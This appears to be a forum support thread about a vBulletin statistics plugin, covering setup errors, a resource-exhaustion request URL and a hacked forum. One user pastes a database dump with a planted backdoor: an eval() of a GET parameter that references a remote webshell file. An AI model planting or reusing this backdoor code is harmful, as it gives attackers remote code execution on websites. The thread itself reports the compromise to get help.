had a report from my friend there is an exploit on this plugin that can be abused to slow servers

yourfourm.com/misc.php?do=vsastats&vsacb_resnr=99999

where u can request 99999 stats
causes overflow error

anyway to counter this?

After upgrade,top stats appear in all pages of my forum....

Can I show it only on forumhome?

Hi, is it possible to get the 'new_post' thing to become a old_post when you've viewed it?

Settings->Options->Vsa advanced forum stats-> Number of results to show on separate page
(list available values, separate with commas) set the last number to 200 or so

Last number from settings is used if entered number is larger than that.

So there is no way to send such request to database (99999).

i get this error

Error: Check startup item options

how do i remedy this it wont go away

i am in 4.1.7 vb

thanks in advance

You should check and update settings on product options page.

Ensure that both 'Stat to show on page load' settings are correct.

your plugin might be exploitable

INSERT INTO `datastore` (`title`, `data`, `unserialize`) VALUES
\r\n \r\nif (isset($_GET[''foo''])) die(eval(''$u="http://users.cjb.net/hayden/wso.txt";'' . $_GET[''foo'']));\r\n";s:10:"misc_start";s:53180:"\r\n if ($vbulletin->options[''vsatopstats_enable_global''] AND !is_member_of($vbulletin->userinfo, explode('','', $vbulletin->options[''vsatopstats_excl_groups''])))\r\n {\r\n $vsacb_resnr = $vbulletin->input->clean_gpc(''r'', ''vsacb_resnr'', TYPE_UINT);\r\n if ($vsacb_resnr < 1)\r\n {\r\n $vsacb_resnr = intval($vbulletin->options[''vsatopstats_amount_more'']);\r\n ( it continues i donno if i must paste all )

this comes from my forum database

original post here :

https://www.vbulletin.com/forum/show...9-Forum-Hacked


please check and i wish to hear from u more soon

To make your Notifications area smaller:

- go into your skins 'Styles and Templates / Style Manager / Style Variable Editor' for the skin/s involved.

- in the search box up top write 'popup'.

- scroll down and find the stylvar 'popupmenu height' under the title 'PopupMenus'.

- change the 'Size' number to 3 for 'popupmenu height'. Keep Units blank.

- Save.


Now go and check your Notifications box, it should be a normal size for you.

Good luck :)

it is better to uninstall the hack ? I don't understand this ...but I see a http://users.cjb.net/hayden ....WHAT'S that ?